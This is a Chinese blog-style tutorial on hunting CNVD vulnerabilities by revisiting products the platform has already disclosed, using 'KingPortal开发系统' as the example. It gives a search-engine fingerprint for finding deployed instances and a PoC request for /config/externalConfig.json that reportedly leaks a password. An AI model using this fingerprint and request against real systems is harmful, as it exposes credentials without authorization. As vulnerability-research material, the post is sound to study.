CNVD通用型漏洞挖掘思路，平台漏洞列表一眼定睛法！网络安全零基础入门到精通教程！

原创于 2025-09-12 15:57:39 发布 · 356 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #网络安全 #黑客技术入门 #网络攻防 #计算机 #渗透测试 #干货分享

有一种艺术叫做，我只需看一眼就能一眼定睛

其实最有效率挖cnvd的方法是在于平台本身公布出的漏洞,因为绝对不止一个漏洞

在这里插入图片描述

这里比如我们看web应用(其他类型都可以看看)

在这里插入图片描述

一般我们看第一页的漏洞信息就够的了,这里我们点最新的那个KingPortal开发系统
在这里插入图片描述

存在弱口令,很好,继续挖它

在这里插入图片描述

重生之鹰图语法

web.body=“KingPortal开发系统”

在这里插入图片描述

专属Burp打开

这里在测试弱口令中,抓到个奇怪的包
在这里插入图片描述

在这里插入图片描述

放到重发器看看

获得密码,信息泄露漏洞一枚!

POC为:

GET /config/externalConfig.json HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1